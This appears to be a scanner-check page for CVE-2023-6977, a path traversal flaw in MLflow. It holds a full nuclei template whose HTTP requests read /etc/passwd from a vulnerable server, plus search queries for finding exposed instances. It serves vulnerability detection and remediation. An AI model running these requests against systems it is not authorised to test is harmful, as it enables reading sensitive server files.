CVE-2023-6977· lfprojects / mlflow· CWE-29
Mlflow <2.8.0 - Local File Inclusion
highseverity
7.5CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it
Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation could allow an attacker to read sensitive files on the server.
Fix
Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
How to confirm it
Send: POST /ajax-api/2.0/mlflow/registered-models/create ; POST /ajax-api/2.0/mlflow/model-versions/create ; GET /model-versions/get-artifact?name={{randstr}}&path=etc%2Fpasswd&version=1
Positive when: matches /root:.*:0:0:/ AND contains in header_3 "filename=passwd" and "application/octet-stream" AND status 200Run it with nuclei: nuclei -id CVE-2023-6977 -u <target>
The full check
id: CVE-2023-6977
info:
name: Mlflow <2.8.0 - Local File Inclusion
author: gy741
severity: high
description: |
Mlflow before 2.8.0 is susceptible to local file inclusion due to path traversal in GitHub repository mlflow/mlflow. An attacker can potentially obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation could allow an attacker to read sensitive files on the server.
remediation: |
Upgrade Mlflow to version 2.9.2 or later to mitigate the vulnerability.
reference:
- https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf
- https://nvd.nist.gov/vuln/detail/CVE-2023-6977
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6977
cwe-id: CWE-29
epss-score: 0.03924
epss-percentile: 0.90439
cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: lfprojects
product: mlflow
shodan-query: http.title:"mlflow"
fofa-query:
- title="mlflow"
- app="mlflow"
google-query: intitle:"mlflow"
tags: cve,cve2023,mlflow,oss,lfi,intrusive,lfprojects,vuln
http:
- raw:
- |
POST /ajax-api/2.0/mlflow/registered-models/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}"}
- |
POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json; charset=utf-8
{"name":"{{randstr}}","source":"//proc/self/root"}
- |
GET /model-versions/get-artifact?name={{randstr}}&path=etc%2Fpasswd&version=1 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: word
part: header_3
words:
- "filename=passwd"
- "application/octet-stream"
condition: and
- type: status
status:
- 200References
- https://huntr.com/bounties/fe53bf71-3687-4711-90df-c26172880aaf
- https://nvd.nist.gov/vuln/detail/CVE-2023-6977
Use this check only on systems you are authorised to test. Where the data comes from